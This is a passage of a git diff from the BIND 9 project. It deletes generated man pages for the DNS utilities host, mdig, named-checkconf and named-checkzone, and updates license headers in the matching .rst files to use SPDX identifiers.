-\fBhost\fP is a simple utility for performing DNS lookups. It is normally
-used to convert names to IP addresses and vice versa. When no arguments
-or options are given, \fBhost\fP prints a short summary of its
-command\-line arguments and options.
-.sp
-\fBname\fP is the domain name that is to be looked up. It can also be a
-dotted\-decimal IPv4 address or a colon\-delimited IPv6 address, in which
-case \fBhost\fP by default performs a reverse lookup for that address.
-\fBserver\fP is an optional argument which is either the name or IP
-address of the name server that \fBhost\fP should query instead of the
-server or servers listed in \fB/etc/resolv.conf\fP\&.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-4\fP
-This option specifies that only IPv4 should be used for query transport. See also the \fB\-6\fP option.
-.TP
-.B \fB\-6\fP
-This option specifies that only IPv6 should be used for query transport. See also the \fB\-4\fP option.
-.TP
-.B \fB\-a\fP
-The \fB\-a\fP ("all") option is normally equivalent to \fB\-v \-t ANY\fP\&. It
-also affects the behavior of the \fB\-l\fP list zone option.
-.TP
-.B \fB\-A\fP
-The \fB\-A\fP ("almost all") option is equivalent to \fB\-a\fP, except that RRSIG,
-NSEC, and NSEC3 records are omitted from the output.
-.TP
-.B \fB\-c class\fP
-This option specifies the query class, which can be used to lookup HS (Hesiod) or CH (Chaosnet)
-class resource records. The default class is IN (Internet).
-.TP
-.B \fB\-C\fP
-This option indicates that \fBnamed\fP should check consistency, meaning that \fBhost\fP queries the SOA records for zone
-\fBname\fP from all the listed authoritative name servers for that
-zone. The list of name servers is defined by the NS records that are
-found for the zone.
-.TP
-.B \fB\-d\fP
-This option prints debugging traces, and is equivalent to the \fB\-v\fP verbose option.
-.TP
-.B \fB\-l\fP
-This option tells \fBnamed\(ga to list the zone, meaning the \(ga\(gahost\fP command performs a zone transfer of zone
-\fBname\fP and prints out the NS, PTR, and address records (A/AAAA).
-.sp
-Together, the \fB\-l \-a\fP options print all records in the zone.
-.TP
-.B \fB\-N ndots\fP
-This option specifies the number of dots (\fBndots\fP) that have to be in \fBname\fP for it to be
-considered absolute. The default value is that defined using the
-\fBndots\fP statement in \fB/etc/resolv.conf\fP, or 1 if no \fBndots\fP statement
-is present. Names with fewer dots are interpreted as relative names,
-and are searched for in the domains listed in the \fBsearch\fP or
-\fBdomain\fP directive in \fB/etc/resolv.conf\fP\&.
-.TP
-.B \fB\-p port\fP
-This option specifies the port to query on the server. The default is 53.
-.TP
-.B \fB\-r\fP
-This option specifies a non\-recursive query; setting this option clears the RD (recursion
-desired) bit in the query. This means that the name server
-receiving the query does not attempt to resolve \fBname\fP\&. The \fB\-r\fP
-option enables \fBhost\fP to mimic the behavior of a name server by
-making non\-recursive queries, and expecting to receive answers to
-those queries that can be referrals to other name servers.
-.TP
-.B \fB\-R number\fP
-This option specifies the number of retries for UDP queries. If \fBnumber\fP is negative or zero,
-the number of retries is silently set to 1. The default value is 1, or
-the value of the \fBattempts\fP option in \fB/etc/resolv.conf\fP, if set.
-.TP
-.B \fB\-s\fP
-This option tells \fBnamed\fP \fInot\fP to send the query to the next nameserver if any server responds
-with a SERVFAIL response, which is the reverse of normal stub
-resolver behavior.
-.TP
-.B \fB\-t type\fP
-This option specifies the query type. The \fBtype\fP argument can be any recognized query type:
-CNAME, NS, SOA, TXT, DNSKEY, AXFR, etc.
-.sp
-When no query type is specified, \fBhost\fP automatically selects an
-appropriate query type. By default, it looks for A, AAAA, and MX
-records. If the \fB\-C\fP option is given, queries are made for SOA
-records. If \fBname\fP is a dotted\-decimal IPv4 address or
-colon\-delimited IPv6 address, \fBhost\fP queries for PTR records.
-.sp
-If a query type of IXFR is chosen, the starting serial number can be
-specified by appending an equals sign (=), followed by the starting serial
-number, e.g., \fB\-t IXFR=12345678\fP\&.
-.TP
-.B \fB\-T\fP; \fB\-U\fP
-This option specifies TCP or UDP. By default, \fBhost\fP uses UDP when making queries; the
-\fB\-T\fP option makes it use a TCP connection when querying the name
-server. TCP is automatically selected for queries that require
-it, such as zone transfer (AXFR) requests. Type \fBANY\fP queries default
-to TCP, but can be forced to use UDP initially via \fB\-U\fP\&.
-.TP
-.B \fB\-m flag\fP
-This option sets memory usage debugging: the flag can be \fBrecord\fP, \fBusage\fP, or
-\fBtrace\fP\&. The \fB\-m\fP option can be specified more than once to set
-multiple flags.
-.TP
-.B \fB\-v\fP
-This option sets verbose output, and is equivalent to the \fB\-d\fP debug option. Verbose output
-can also be enabled by setting the \fBdebug\fP option in
-\fB/etc/resolv.conf\fP\&.
-.TP
-.B \fB\-V\fP
-This option prints the version number and exits.
-.TP
-.B \fB\-w\fP
-This option sets "wait forever": the query timeout is set to the maximum possible. See
-also the \fB\-W\fP option.
-.TP
-.B \fB\-W wait\fP
-This options sets the length of the wait timeout, indicating that \fBnamed\fP should wait for up to \fBwait\fP seconds for a reply. If \fBwait\fP is
-less than 1, the wait interval is set to 1 second.
-.sp
-By default, \fBhost\fP waits for 5 seconds for UDP responses and 10
-seconds for TCP connections. These defaults can be overridden by the
-\fBtimeout\fP option in \fB/etc/resolv.conf\fP\&.
-.sp
-See also the \fB\-w\fP option.
-.UNINDENT
-.SH IDN SUPPORT
-.sp
-If \fBhost\fP has been built with IDN (internationalized domain name)
-support, it can accept and display non\-ASCII domain names. \fBhost\fP
-appropriately converts character encoding of a domain name before sending
-a request to a DNS server or displaying a reply from the server.
-To turn off IDN support, define the \fBIDN_DISABLE\fP
-environment variable. IDN support is disabled if the variable is set
-when \fBhost\fP runs.
-.SH FILES
-.sp
-\fB/etc/resolv.conf\fP
-.SH SEE ALSO
-.sp
-\fBdig(1)\fP, \fBnamed(8)\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/host.rst b/doc/man/host.rst
index 9bd5ec2285..690243d045 100644
--- a/doc/man/host.rst
+++ b/doc/man/host.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/dig/host.rst
\ No newline at end of file
+.. include:: ../../bin/dig/host.rst
diff --git a/doc/man/index.rst b/doc/man/index.rst
index 2bede615c9..35fd8d3326 100644
--- a/doc/man/index.rst
+++ b/doc/man/index.rst
@@ -1,9 +1,10 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
diff --git a/doc/man/mdig.1in b/doc/man/mdig.1in
deleted file mode 100644
index 405d50fc82..0000000000
--- a/doc/man/mdig.1in
+++ /dev/null
@@ -1,341 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "MDIG" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-mdig \- DNS pipelined lookup utility
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBmdig\fP \fI\%{@server\fP} [\fB\-f\fP filename] [\fB\-h\fP] [\fB\-v\fP] [ [\fB\-4\fP] | [\fB\-6\fP] ] [\fB\-m\fP] [\fB\-b\fP address] [\fB\-p\fP port#] [\fB\-c\fP class] [\fB\-t\fP type] [\fB\-i\fP] [\fB\-x\fP addr] [plusopt...]
-.sp
-\fBmdig\fP {\fB\-h\fP}
-.sp
-\fBmdig\fP [@server] {global\-opt...} { {local\-opt...} {query} ...}
-.SH DESCRIPTION
-.sp
-\fBmdig\fP is a multiple/pipelined query version of \fBdig\fP: instead of
-waiting for a response after sending each query, it begins by sending
-all queries. Responses are displayed in the order in which they are
-received, not in the order the corresponding queries were sent.
-.sp
-\fBmdig\fP options are a subset of the \fBdig\fP options, and are divided
-into "anywhere options," which can occur anywhere, "global options," which
-must occur before the query name (or they are ignored with a warning),
-and "local options," which apply to the next query on the command line.
-.sp
-The \fB@server\fP option is a mandatory global option. It is the name or IP
-address of the name server to query. (Unlike \fBdig\fP, this value is not
-retrieved from \fB/etc/resolv.conf\fP\&.) It can be an IPv4 address in
-dotted\-decimal notation, an IPv6 address in colon\-delimited notation, or
-a hostname. When the supplied \fBserver\fP argument is a hostname,
-\fBmdig\fP resolves that name before querying the name server.
-.sp
-\fBmdig\fP provides a number of query options which affect the way in
-which lookups are made and the results displayed. Some of these set or
-reset flag bits in the query header, some determine which sections of
-the answer get printed, and others determine the timeout and retry
-strategies.
-.sp
-Each query option is identified by a keyword preceded by a plus sign
-(\fB+\fP). Some keywords set or reset an option. These may be preceded by
-the string \fBno\fP to negate the meaning of that keyword. Other keywords
-assign values to options like the timeout interval. They have the form
-\fB+keyword=value\fP\&.
-.SH ANYWHERE OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-f\fP
-This option makes \fBmdig\fP operate in batch mode by reading a list
-of lookup requests to process from the file \fBfilename\fP\&. The file
-contains a number of queries, one per line. Each entry in the file
-should be organized in the same way they would be presented as queries
-to \fBmdig\fP using the command\-line interface.
-.TP
-.B \fB\-h\fP
-This option causes \fBmdig\fP to print detailed help information, with the full list
-of options, and exit.
-.TP
-.B \fB\-v\fP
-This option causes \fBmdig\fP to print the version number and exit.
-.UNINDENT
-.SH GLOBAL OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-4\fP
-This option forces \fBmdig\fP to only use IPv4 query transport.
-.TP
-.B \fB\-6\fP
-This option forces \fBmdig\fP to only use IPv6 query transport.
-.TP
-.B \fB\-b address\fP
-This option sets the source IP address of the query to
-\fBaddress\fP\&. This must be a valid address on one of the host\(aqs network
-interfaces or "0.0.0.0" or "::". An optional port may be specified by
-appending "#<port>"
-.TP
-.B \fB\-m\fP
-This option enables memory usage debugging.
-.TP
-.B \fB\-p port#\fP
-This option is used when a non\-standard port number is to be
-queried. \fBport#\fP is the port number that \fBmdig\fP sends its
-queries to, instead of the standard DNS port number 53. This option is
-used to test a name server that has been configured to listen for
-queries on a non\-standard port number.
-.UNINDENT
-.sp
-The global query options are:
-.INDENT 0.0
-.TP
-.B \fB+[no]additional\fP
-This option displays [or does not display] the additional section of a reply. The
-default is to display it.
-.TP
-.B \fB+[no]all\fP
-This option sets or clears all display flags.
-.TP
-.B \fB+[no]answer\fP
-This option displays [or does not display] the answer section of a reply. The default
-is to display it.
-.TP
-.B \fB+[no]authority\fP
-This option displays [or does not display] the authority section of a reply. The
-default is to display it.
-.TP
-.B \fB+[no]besteffort\fP
-This option attempts to display [or does not display] the contents of messages which are malformed. The
-default is to not display malformed answers.
-.TP
-.B \fB+burst\fP
-This option delays queries until the start of the next second.
-.TP
-.B \fB+[no]cl\fP
-This option displays [or does not display] the CLASS when printing the record.
-.TP
-.B \fB+[no]comments\fP
-This option toggles the display of comment lines in the output. The default is to
-print comments.
-.TP
-.B \fB+[no]continue\fP
-This option toggles continuation on errors (e.g. timeouts).
-.TP
-.B \fB+[no]crypto\fP
-This option toggles the display of cryptographic fields in DNSSEC records. The
-contents of these fields are unnecessary to debug most DNSSEC
-validation failures and removing them makes it easier to see the
-common failures. The default is to display the fields. When omitted,
-they are replaced by the string "[omitted]"; in the DNSKEY case, the
-key ID is displayed as the replacement, e.g., \fB[ key id = value ]\fP\&.
-.TP
-.B \fB+dscp[=value]\fP
-This option sets the DSCP code point to be used when sending the query. Valid DSCP
-code points are in the range [0...63]. By default no code point is
-explicitly set.
-.TP
-.B \fB+[no]multiline\fP
-This option toggles printing of records, like the SOA records, in a verbose multi\-line format
-with human\-readable comments. The default is to print each record on
-a single line, to facilitate machine parsing of the \fBmdig\fP output.
-.TP
-.B \fB+[no]question\fP
-This option prints [or does not print] the question section of a query when an answer
-is returned. The default is to print the question section as a
-comment.
-.TP
-.B \fB+[no]rrcomments\fP
-This option toggles the display of per\-record comments in the output (for example,
-human\-readable key information about DNSKEY records). The default is
-not to print record comments unless multiline mode is active.
-.TP
-.B \fB+[no]short\fP
-This option provides [or does not provide] a terse answer. The default is to print the answer in a
-verbose form.
-.TP
-.B \fB+split=W\fP
-This option splits long hex\- or base64\-formatted fields in resource records into
-chunks of \fBW\fP characters (where \fBW\fP is rounded up to the nearest
-multiple of 4). \fB+nosplit\fP or \fB+split=0\fP causes fields not to be
-split. The default is 56 characters, or 44 characters when
-multiline mode is active.
-.TP
-.B \fB+[no]tcp\fP
-This option uses [or does not use] TCP when querying name servers. The default behavior
-is to use UDP.
-.TP
-.B \fB+[no]ttlid\fP
-This option displays [or does not display] the TTL when printing the record.
-.TP
-.B \fB+[no]ttlunits\fP
-This option displays [or does not display] the TTL in friendly human\-readable time
-units of "s", "m", "h", "d", and "w", representing seconds, minutes,
-hours, days, and weeks. This implies +ttlid.
-.TP
-.B \fB+[no]vc\fP
-This option uses [or does not use] TCP when querying name servers. This alternate
-syntax to \fB+[no]tcp\fP is provided for backwards compatibility. The
-\fBvc\fP stands for "virtual circuit".
-.UNINDENT
-.SH LOCAL OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-c class\fP
-This option sets the query class to \fBclass\fP\&. It can be any valid
-query class which is supported in BIND 9. The default query class is
-"IN".
-.TP
-.B \fB\-t type\fP
-This option sets the query type to \fBtype\fP\&. It can be any valid
-query type which is supported in BIND 9. The default query type is "A",
-unless the \fB\-x\fP option is supplied to indicate a reverse lookup with
-the "PTR" query type.
-.TP
-.B \fB\-x addr\fP
-Reverse lookups \- mapping addresses to names \- are simplified by
-this option. \fBaddr\fP is an IPv4 address in dotted\-decimal
-notation, or a colon\-delimited IPv6 address. \fBmdig\fP automatically
-performs a lookup for a query name like \fB11.12.13.10.in\-addr.arpa\fP and
-sets the query type and class to PTR and IN respectively. By default,
-IPv6 addresses are looked up using nibble format under the IP6.ARPA
-domain.
-.UNINDENT
-.sp
-The local query options are:
-.INDENT 0.0
-.TP
-.B \fB+[no]aaflag\fP
-This is a synonym for \fB+[no]aaonly\fP\&.
-.TP
-.B \fB+[no]aaonly\fP
-This sets the \fBaa\fP flag in the query.
-.TP
-.B \fB+[no]adflag\fP
-This sets [or does not set] the AD (authentic data) bit in the query. This
-requests the server to return whether all of the answer and authority
-sections have all been validated as secure, according to the security
-policy of the server. AD=1 indicates that all records have been
-validated as secure and the answer is not from a OPT\-OUT range. AD=0
-indicates that some part of the answer was insecure or not validated.
-This bit is set by default.
-.TP
-.B \fB+bufsize=B\fP
-This sets the UDP message buffer size advertised using EDNS0 to \fBB\fP
-bytes. The maximum and minimum sizes of this buffer are 65535 and 0
-respectively. Values outside this range are rounded up or down
-appropriately. Values other than zero cause a EDNS query to be
-sent.
-.TP
-.B \fB+[no]cdflag\fP
-This sets [or does not set] the CD (checking disabled) bit in the query. This
-requests the server to not perform DNSSEC validation of responses.
-.TP
-.B \fB+[no]cookie=####\fP
-This sends [or does not send] a COOKIE EDNS option, with an optional value. Replaying a COOKIE
-from a previous response allows the server to identify a previous
-client. The default is \fB+nocookie\fP\&.
-.TP
-.B \fB+[no]dnssec\fP
-This requests that DNSSEC records be sent by setting the DNSSEC OK (DO) bit in
-the OPT record in the additional section of the query.
-.TP
-.B \fB+[no]edns[=#]\fP
-This specifies [or does not specify] the EDNS version to query with. Valid values are 0 to 255.
-Setting the EDNS version causes an EDNS query to be sent.
-\fB+noedns\fP clears the remembered EDNS version. EDNS is set to 0 by
-default.
-.TP
-.B \fB+[no]ednsflags[=#]\fP
-This sets the must\-be\-zero EDNS flag bits (Z bits) to the specified value.
-Decimal, hex, and octal encodings are accepted. Setting a named flag
-(e.g. DO) is silently ignored. By default, no Z bits are set.
-.TP
-.B \fB+[no]ednsopt[=code[:value]]\fP
-This specifies [or does not specify] an EDNS option with code point \fBcode\fP and an optional payload
-of \fBvalue\fP as a hexadecimal string. \fB+noednsopt\fP clears the EDNS
-options to be sent.
-.TP
-.B \fB+[no]expire\fP
-This toggles sending of an EDNS Expire option.
-.TP
-.B \fB+[no]nsid\fP
-This toggles inclusion of an EDNS name server ID request when sending a query.
-.TP
-.B \fB+[no]recurse\fP
-This toggles the setting of the RD (recursion desired) bit in the query.
-This bit is set by default, which means \fBmdig\fP normally sends
-recursive queries.
-.TP
-.B \fB+retry=T\fP
-This sets the number of times to retry UDP queries to server to \fBT\fP
-instead of the default, 2. Unlike \fB+tries\fP, this does not include
-the initial query.
-.TP
-.B \fB+[no]subnet=addr[/prefix\-length]\fP
-This sends [or does not send] an EDNS Client Subnet option with the specified IP
-address or network prefix.
-.TP
-.B \fBmdig +subnet=0.0.0.0/0\fP, or simply \fBmdig +subnet=0\fP
-This sends an EDNS client\-subnet option with an empty address and a source
-prefix\-length of zero, which signals a resolver that the client\(aqs
-address information must \fInot\fP be used when resolving this query.
-.TP
-.B \fB+timeout=T\fP
-This sets the timeout for a query to \fBT\fP seconds. The default timeout is
-5 seconds for UDP transport and 10 for TCP. An attempt to set \fBT\fP
-to less than 1 results in a query timeout of 1 second being
-applied.
-.TP
-.B \fB+tries=T\fP
-This sets the number of times to try UDP queries to server to \fBT\fP
-instead of the default, 3. If \fBT\fP is less than or equal to zero,
-the number of tries is silently rounded up to 1.
-.TP
-.B \fB+udptimeout=T\fP
-This sets the timeout between UDP query retries to \fBT\fP\&.
-.TP
-.B \fB+[no]unknownformat\fP
-This prints [or does not print] all RDATA in unknown RR\-type presentation format (see \fI\%RFC 3597\fP).
-The default is to print RDATA for known types in the type\(aqs
-presentation format.
-.TP
-.B \fB+[no]yaml\fP
-This toggles printing of the responses in a detailed YAML format.
-.TP
-.B \fB+[no]zflag\fP
-This sets [or does not set] the last unassigned DNS header flag in a DNS query.
-This flag is off by default.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fBdig(1)\fP, \fI\%RFC 1035\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/mdig.rst b/doc/man/mdig.rst
index a19ab88e57..351d17f6c5 100644
--- a/doc/man/mdig.rst
+++ b/doc/man/mdig.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/tools/mdig.rst
\ No newline at end of file
+.. include:: ../../bin/tools/mdig.rst
diff --git a/doc/man/named-checkconf.1in b/doc/man/named-checkconf.1in
deleted file mode 100644
index 6d65a033c2..0000000000
--- a/doc/man/named-checkconf.1in
+++ /dev/null
@@ -1,108 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "NAMED-CHECKCONF" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-named-checkconf \- named configuration file syntax checking tool
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBnamed\-checkconf\fP [\fB\-chjlvz\fP] [\fB\-p\fP [\fB\-x\fP ]] [\fB\-t\fP directory] {filename}
-.SH DESCRIPTION
-.sp
-\fBnamed\-checkconf\fP checks the syntax, but not the semantics, of a
-\fBnamed\fP configuration file. The file, along with all files included by it, is parsed and checked for syntax
-errors. If no file is specified,
-\fB/etc/named.conf\fP is read by default.
-.sp
-Note: files that \fBnamed\fP reads in separate parser contexts, such as
-\fBrndc.key\fP and \fBbind.keys\fP, are not automatically read by
-\fBnamed\-checkconf\fP\&. Configuration errors in these files may cause
-\fBnamed\fP to fail to run, even if \fBnamed\-checkconf\fP was successful.
-However, \fBnamed\-checkconf\fP can be run on these files explicitly.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-h\fP
-This option prints the usage summary and exits.
-.TP
-.B \fB\-j\fP
-When loading a zonefile, this option instructs \fBnamed\fP to read the journal if it exists.
-.TP
-.B \fB\-l\fP
-This option lists all the configured zones. Each line of output contains the zone
-name, class (e.g. IN), view, and type (e.g. primary or secondary).
-.TP
-.B \fB\-c\fP
-This option specifies that only the "core" configuration should be checked. This suppresses the loading of
-plugin modules, and causes all parameters to \fBplugin\fP statements to
-be ignored.
-.TP
-.B \fB\-i\fP
-This option ignores warnings on deprecated options.
-.TP
-.B \fB\-p\fP
-This option prints out the \fBnamed.conf\fP and included files in canonical form if
-no errors were detected. See also the \fB\-x\fP option.
-.TP
-.B \fB\-t directory\fP
-This option instructs \fBnamed\fP to chroot to \fBdirectory\fP, so that \fBinclude\fP directives in the
-configuration file are processed as if run by a similarly chrooted
-\fBnamed\fP\&.
-.TP
-.B \fB\-v\fP
-This option prints the version of the \fBnamed\-checkconf\fP program and exits.
-.TP
-.B \fB\-x\fP
-When printing the configuration files in canonical form, this option obscures
-shared secrets by replacing them with strings of question marks
-(\fB?\fP). This allows the contents of \fBnamed.conf\fP and related files
-to be shared \- for example, when submitting bug reports \-
-without compromising private data. This option cannot be used without
-\fB\-p\fP\&.
-.TP
-.B \fB\-z\fP
-This option performs a test load of all zones of type \fBprimary\fP found in \fBnamed.conf\fP\&.
-.TP
-.B \fBfilename\fP
-This indicates the name of the configuration file to be checked. If not specified,
-it defaults to \fB/etc/named.conf\fP\&.
-.UNINDENT
-.SH RETURN VALUES
-.sp
-\fBnamed\-checkconf\fP returns an exit status of 1 if errors were detected
-and 0 otherwise.
-.SH SEE ALSO
-.sp
-\fBnamed(8)\fP, \fBnamed\-checkzone(8)\fP, BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/named-checkconf.rst b/doc/man/named-checkconf.rst
index 66da5a65f1..a120b43b71 100644
--- a/doc/man/named-checkconf.rst
+++ b/doc/man/named-checkconf.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/check/named-checkconf.rst
\ No newline at end of file
+.. include:: ../../bin/check/named-checkconf.rst
diff --git a/doc/man/named-checkzone.1in b/doc/man/named-checkzone.1in
deleted file mode 100644
index 95a9ef8ebc..0000000000
--- a/doc/man/named-checkzone.1in
+++ /dev/null
@@ -1,218 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "NAMED-CHECKZONE" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-named-checkzone \- zone file validity checking or converting tool
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBnamed\-checkzone\fP [\fB\-d\fP] [\fB\-h\fP] [\fB\-j\fP] [\fB\-q\fP] [\fB\-v\fP] [\fB\-c\fP class] [\fB\-f\fP format] [\fB\-F\fP format] [\fB\-J\fP filename] [\fB\-i\fP mode] [\fB\-k\fP mode] [\fB\-m\fP mode] [\fB\-M\fP mode] [\fB\-n\fP mode] [\fB\-l\fP ttl] [\fB\-L\fP serial] [\fB\-o\fP filename] [\fB\-r\fP mode] [\fB\-s\fP style] [\fB\-S\fP mode] [\fB\-t\fP directory] [\fB\-T\fP mode] [\fB\-w\fP directory] [\fB\-D\fP] [\fB\-W\fP mode] {zonename} {filename}
-.sp
-\fBnamed\-compilezone\fP [\fB\-d\fP] [\fB\-j\fP] [\fB\-q\fP] [\fB\-v\fP] [\fB\-c\fP class] [\fB\-C\fP mode] [\fB\-f\fP format] [\fB\-F\fP format] [\fB\-J\fP filename] [\fB\-i\fP mode] [\fB\-k\fP mode] [\fB\-m\fP mode] [\fB\-n\fP mode] [\fB\-l\fP ttl] [\fB\-L\fP serial] [\fB\-r\fP mode] [\fB\-s\fP style] [\fB\-t\fP directory] [\fB\-T\fP mode] [\fB\-w\fP directory] [\fB\-D\fP] [\fB\-W\fP mode] {\fB\-o\fP filename} {zonename} {filename}
-.SH DESCRIPTION
-.sp
-\fBnamed\-checkzone\fP checks the syntax and integrity of a zone file. It
-performs the same checks as \fBnamed\fP does when loading a zone. This
-makes \fBnamed\-checkzone\fP useful for checking zone files before
-configuring them into a name server.
-.sp
-\fBnamed\-compilezone\fP is similar to \fBnamed\-checkzone\fP, but it always
-dumps the zone contents to a specified file in a specified format.
-It also applies stricter check levels by default, since the
-dump output is used as an actual zone file loaded by \fBnamed\fP\&.
-When manually specified otherwise, the check levels must at least be as
-strict as those specified in the \fBnamed\fP configuration file.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-d\fP
-This option enables debugging.
-.TP
-.B \fB\-h\fP
-This option prints the usage summary and exits.
-.TP
-.B \fB\-q\fP
-This option sets quiet mode, which only sets an exit code to indicate
-successful or failed completion.
-.TP
-.B \fB\-v\fP
-This option prints the version of the \fBnamed\-checkzone\fP program and exits.
-.TP
-.B \fB\-j\fP
-When loading a zone file, this option tells \fBnamed\fP to read the journal if it exists. The journal
-file name is assumed to be the zone file name with the
-string \fB\&.jnl\fP appended.
-.TP
-.B \fB\-J filename\fP
-When loading the zone file, this option tells \fBnamed\fP to read the journal from the given file, if
-it exists. This implies \fB\-j\fP\&.
-.TP
-.B \fB\-c class\fP
-This option specifies the class of the zone. If not specified, \fBIN\fP is assumed.
-.TP
-.B \fB\-i mode\fP
-This option performs post\-load zone integrity checks. Possible modes are
-\fBfull\fP (the default), \fBfull\-sibling\fP, \fBlocal\fP,
